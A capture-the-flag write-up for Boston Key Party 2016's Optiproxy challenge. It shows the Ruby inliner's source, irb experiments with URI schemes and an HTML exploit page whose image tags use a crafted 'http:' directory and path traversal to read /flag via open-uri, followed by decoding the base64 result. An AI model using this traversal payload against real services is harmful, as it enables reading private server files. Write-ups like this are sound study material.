#### BostonKeyParty CTF - Optiproxy

##### March 10, 2016

After I completed SimpleCalc, I wasted way too much time on ComplexCalc and didn’t solve it ( I was so close, I just missed something really obvious). On the last day I only had a couple hours left so I decided to tackle something that shouldn’t be too difficult and that ended up being Optiproxy.

You can find the challenge materials over at http://captf.com/2016/bostonkeyparty/18-optiproxy/

Here’s the source of the Ruby script:

require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'

set :bind, "0.0.0.0"
cdir = Dir.pwd
get '/' do
str = "welcome to the automatic resource inliner, we inline all images"
str << " go to /example.com to get an inlined version of example.com"
str << " flag is in /flag"
str << " source is in /source"
str
end

get '/source' do
IO.read cdir + "/" + $0 end get '/flag' do str = "I mean, /flag on the file system... If you're looking here, I question" str << " your skills" str end get '/:url' do url = params[:url] main_dir = Dir.pwd temp_dir = "" dir = Dir.mktmpdir "inliner" Dir.chdir dir temp_dir = dir exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}" #{exec} my_dir = Dir.glob ("**/") Dir.chdir my_dir[0] index_file = "index.html" html_file = IO.read index_file doc = Nokogiri::HTML(open(index_file)) doc.xpath('//img').each do |img| header = img.xpath('preceding::h2[1]').text image = img['src'] img_data = "" uri_scheme = URI(image).scheme begin if (uri_scheme == "http" or uri_scheme == "https") url = image else url = "http://#{url}/#{image}" end img_data = open(url).read b64d = "data:image/png;base64," + Base64.strict_encode64(img_data) img['src'] = b64d rescue # gotta catch 'em all puts "lole" next end end FileUtils.rm_rf dir Dir.chdir main_dir doc.to_html end  In a nutshell, what it is supposed to do is provide a service that fetches a webpage of your choosing, along with its dependencies, then inlines the images by using the data scheme and base64 encoding them before returning the results to you. However, if that was all it did then this wouldn’t be fun at all ;) As the script tells us, the flag for this challenge is in /flag. So we’re definitely either trying to find a remote code execution / command injection vulnerability in the wget command or some sort of local file inclusion. I saw that the string passed to the wget was escaped and I wasn’t feeling up to playing guessing games with the shell and multibyte characters so I decided to focus on the later part of the code. I started playing around with the scheme function that was being called on the image URI’s. ─Rikaard@Rikaards-MacBook-Pro ~/ctf/bkp/optiproxy ╰─$ irb
irb(main):001:0> require 'open-uri'
=> true
irb(main):003:0> URI('http://test.com/a.png').scheme
=> "http"
irb(main):004:0> URI('test.com/a.png').scheme
=> nil
irb(main):005:0> URI('http:test.com/a.png').scheme
=> "http"
irb(main):006:0> URI('http://test.com/a.png').scheme
=> "http"
irb(main):007:0> URI('http//test.com/a.png').scheme
=> nil


From this, it was easy to see that all the scheme function cared about was everything up to the ‘:‘.

This made me wonder because since anything starting with http: or https: would pass the if (uri_scheme == "http" or uri_scheme == "https") check but something like ‘http:test’ is a valid filename.

Next I decided to find out how open would treat my crafted URI.

─Rikaard@Rikaards-MacBook-Pro  ~/ctf/bkp/optiproxy
╰─\$ irb                                                                   255 ↵
irb(main):001:0> require 'open-uri'
=> true
=> #<Tempfile:/var/folders/rb/htyhscy144vbtk1n390ps02w0000gn/T/open-uri20160309-55029-siep5z>
Errno::ENOENT: No such file or directory - http:google.com


Awesome :D

So at this point, I could definitely trick it into reading a local file… as long as it was in the current directory and started with http:…. XD

Not all that useful right about now. It was at this point that I started googling a bit and I found this awesome little article by Egor Homakov ( who I dub Websec Jeezus ).

http://sakurity.com/blog/2015/02/28/openuri.html

Looks good, but if you manage to create a folder called “http:”, the attacker can read local files with http:/../../../../../etc/passwd

everything became obvious.

Since the wget had the --page-requisites flag passed to it, it should be recreating the directory structure of the page it was fetching. Therefore, by linking to a resource in a directory ./http: I should be able to create a directory called http: on the remote server allowing me to pull off a local file inclusion.

So I created an index.html file and hosted it on one of my servers.

<html>
<body>
<img src="./http:/cat2.jpg">
<img src="http:/../../../../../../../../../../../../../flag">
</body>
</html>


When I viewed the source after letting Optiproxy inline it, I saw this.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<body>
<img src="data:image/png;base64....reallylong">
<img src="data:image/png;base64,UklLe2V4YW1wbGVmbGFnfQo=">
</body>
</html>


I decoded UklLe2V4YW1wbGVmbGFnfQo=

echo -ne 'UklLe2V4YW1wbGVmbGFnfQo=' | base64 -d
RIK{exampleflag}


And there was the flag :)